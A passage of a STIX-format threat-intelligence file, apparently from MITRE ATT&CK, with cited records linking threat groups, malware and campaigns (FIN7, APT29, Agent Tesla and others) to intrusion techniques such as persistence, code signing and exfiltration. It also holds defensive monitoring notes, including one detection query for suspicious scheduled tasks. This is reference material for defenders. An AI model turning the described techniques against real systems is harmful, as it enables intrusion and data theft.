"relationship--078fe5f7-91b4-4864-960a-24c64b14996e", "created": "2023-03-17T15:00:49.466Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Lazarus Jun 2020", "description": "Breitenbacher, D and Osis, K. (2020, June 17). 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(2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}, {"source_name": "Talent-Jump Clambling February 2020", "url": "https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", "description": "Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}], "modified": "2021-11-23T15:26:58.662Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can record screen content in AVI format.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--07945166-0096-44fb-855e-a25313ca2b1d", "created": "2022-10-13T16:38:30.708Z", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. (2020, February 28). Profiling of TA505 Threat Group That Continues to Attack the Financial Sector. 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Retrieved March 3, 2021."}], "modified": "2021-03-03T20:15:51.507Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has acquired web services for use in C2 and exfiltration.(Citation: Microsoft HAFNIUM March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--079fac5b-c61b-42e4-9ce8-f7fd3b2efe1c", "created": "2022-04-28T15:22:39.522Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor property changes in Group Policy: <code>Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption</code>. 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Retrieved October 20, 2022.", "url": "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T16:49:01.183Z", "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has split archived files into multiple parts to bypass a 5MB limit.(Citation: Bitdefender LuminousMoth July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6", "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07ab0a67-7c7b-4971-9a3e-45069f234800", "type": "relationship", "created": "2020-05-06T21:01:23.624Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.624Z", "description": "[Attor](https://attack.mitre.org/software/S0438) encrypts collected data with a custom implementation of Blowfish and RSA ciphers.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07ab4fde-e1fd-4740-863e-c40cc8722d32", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", "source_name": "PTSecurity Cobalt Group Aug 2017"}, {"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "source_name": "PTSecurity Cobalt Dec 2016"}, {"source_name": "Morphisec Cobalt Gang Oct 2018", "url": "https://blog.morphisec.com/cobalt-gang-2.0", "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018."}], "modified": "2019-07-26T23:38:33.633Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used public sites such as github.com and sendspace.com to upload files and then download them to victim computers.(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016) The group's JavaScript backdoor is also capable of downloading files.(Citation: Morphisec Cobalt Gang Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07af222c-dbd5-4ea4-b94b-a0fe8bdefcee", "type": "relationship", "created": "2020-05-18T19:04:37.688Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."}], "modified": "2020-05-18T19:04:37.688Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used a Word Template, Normal.dotm, for persistence.(Citation: Reaqta MuddyWater November 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--07b15826-1fe3-42db-afdb-9f18e2c8ef2b", "created": "2022-09-27T17:58:36.017Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. 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(2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. 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(2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", "source_name": "Kaspersky Flame"}, {"url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/", "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. 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(2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:22:18.934Z", "description": "[Mis-Type](https://attack.mitre.org/software/S0084) has used Windows API calls, including `NetUserAdd` and `NetUserDel`.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846", "type": "relationship", "created": "2019-02-12T16:33:29.240Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy Nov 2018", "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/", "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."}, {"source_name": "CISA Zebrocy Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}], "modified": "2020-12-09T21:54:34.109Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--07ef3f89-c78a-4aa0-a77e-842c5220244b", "created": "2023-03-20T19:14:03.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT29 Nov 2018", "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T17:32:54.591Z", "description": "For [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors registered domains for use in C2.(Citation: FireEye APT29 Nov 2018)", "relationship_type": "uses", "source_ref": "campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--07ef8045-6a01-4764-a351-a8a2ee2170f7", "created": "2023-08-01T18:22:51.602Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Gigamon BADHATCH Jul 2019", "description": "Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.", "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}, {"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:36:33.458Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can utilize `powershell.exe` to execute commands on a compromised host.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021)", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--07efd7ec-332f-43fd-8ffc-6f50c32c4f55", "created": "2023-09-12T19:37:06.168Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Proofpoint TA2541 February 2022", "description": "Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.", "url": "https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-03T18:08:03.864Z", "description": "[TA2541](https://attack.mitre.org/groups/G1018) has placed VBS files in the Startup folder and used Registry run keys to establish persistence for malicious payloads.(Citation: Proofpoint TA2541 February 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--07f72efd-7960-4530-92f3-6ced33087212", "type": "relationship", "created": "2020-06-22T20:34:05.418Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. 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(2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) has the ability to delete folders and files from a targeted system.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:40:02.195Z", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--08052557-0aa5-49d0-9254-722e4f04804f", "created": "2022-09-07T19:09:19.218Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Frankenstein June 2019", "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.", "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-21T14:36:57.248Z", "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to obtain a list of all running processes.(Citation: Talos Frankenstein June 2019)", "relationship_type": "uses", "source_ref": "campaign--26d9ebae-de59-427f-ae9a-349456bae4b1", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08057442-4b2c-4841-b351-8813431704e9", "type": "relationship", "created": "2020-05-27T20:25:33.659Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 MechaFlounder March 2019", "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/", "description": "Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}], "modified": "2020-05-28T16:19:14.640Z", "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has been downloaded as a file named lsass.exe, which matches the legitimate Windows file.(Citation: Unit 42 MechaFlounder March 2019)", "relationship_type": "uses", "source_ref": "malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--080702d5-0c8d-444f-817e-afabb83a105a", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for changes to binaries and service executables that may normally occur during software updates. ", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08109d9e-3258-4b9b-8e1d-ea90d05c18b9", "type": "relationship", "created": "2019-01-29T18:44:04.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html", "source_name": "Talos Agent Tesla Oct 2018"}, {"source_name": "DigiTrust Agent Tesla Jan 2017", "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/", "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."}, {"description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", "source_name": "Fortinet Agent Tesla April 2018"}, {"source_name": "Fortinet Agent Tesla June 2017", "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html", "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."}, {"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."}], "modified": "2020-05-20T13:38:07.325Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can capture screenshots of the victim\u2019s desktop.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)", "relationship_type": "uses", "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--081406d8-0486-4bfe-8d99-cd505f5cceb6", "created": "2020-05-05T17:07:33.343Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:15:17.406Z", "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has encrypted strings with a single byte XOR algorithm.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--081a9ee3-3609-4bab-8956-d0bd2b77754a", "created": "2023-03-26T18:23:23.859Z", "revoked": false, "external_references": [{"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}, {"source_name": "CrowdStrike SUNSPOT Implant January 2021", "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/"}, {"source_name": "FireEye SUNBURST Backdoor December 2020", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T18:23:23.859Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used `scheduler` and `schtasks` to create new tasks on remote host as part of their lateral movement. They manipulated scheduled tasks by updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration. [APT29](https://attack.mitre.org/groups/G0016) also created a scheduled task to maintain [SUNSPOT](https://attack.mitre.org/software/S0562) persistence when the host booted.(Citation: Volexity SolarWinds)(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: CrowdStrike SUNSPOT Implant January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--081c68ae-de26-4ab4-9108-5c7493f34f43", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", "source_name": "FireEye CARBANAK June 2017"}, {"url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html", "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", "source_name": "FireEye FIN7 Aug 2018"}], "modified": "2019-06-30T23:13:18.259Z", "description": "[FIN7](https://attack.mitre.org/groups/G0046) has signed [Carbanak](https://attack.mitre.org/software/S0030) payloads with legally purchased code signing certificates. [FIN7](https://attack.mitre.org/groups/G0046) has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--081e43bc-3f9e-4110-a1c1-db7396e2ff59", "type": "relationship", "created": "2020-06-19T20:39:21.802Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-26T14:33:49.440Z", "description": "[Denis](https://attack.mitre.org/software/S0354) ran multiple system checks, looking for processor and register characteristics, to evade emulation and analysis.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--081f3972-ea6b-4607-8492-4374063da037", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:27:54.834Z", "description": "Monitor newly constructed scheduled jobs that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nOn Windows systems, security event ID 4698 (A scheduled task was created) provides information on newly created scheduled tasks. It includes the TaskContent field, which contains an XML blob that captures key information on the scheduled task including the command to be executed.\n\nAnalytic 1 - Scheduled Task Execution\n\n<code> source=\"*WinEventLog:Security\" EventCode=\u201c4698\u201d | WHERE UserName LIKE \"*\\SYSTEM*\" AND (TaskContent LIKE suspicious_parameter OR TaskContent LIKE \"*powershell.exe*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0825b101-deff-45cf-867c-af3ccb233744", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Trojan.Hydraq Jan 2010", "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"}, {"source_name": "Symantec Hydraq Jan 2010", "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}], "modified": "2020-02-18T03:48:53.618Z", "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)", "relationship_type": "uses", "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0829e860-9ea0-43c9-8bfd-55b4236d67af", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": 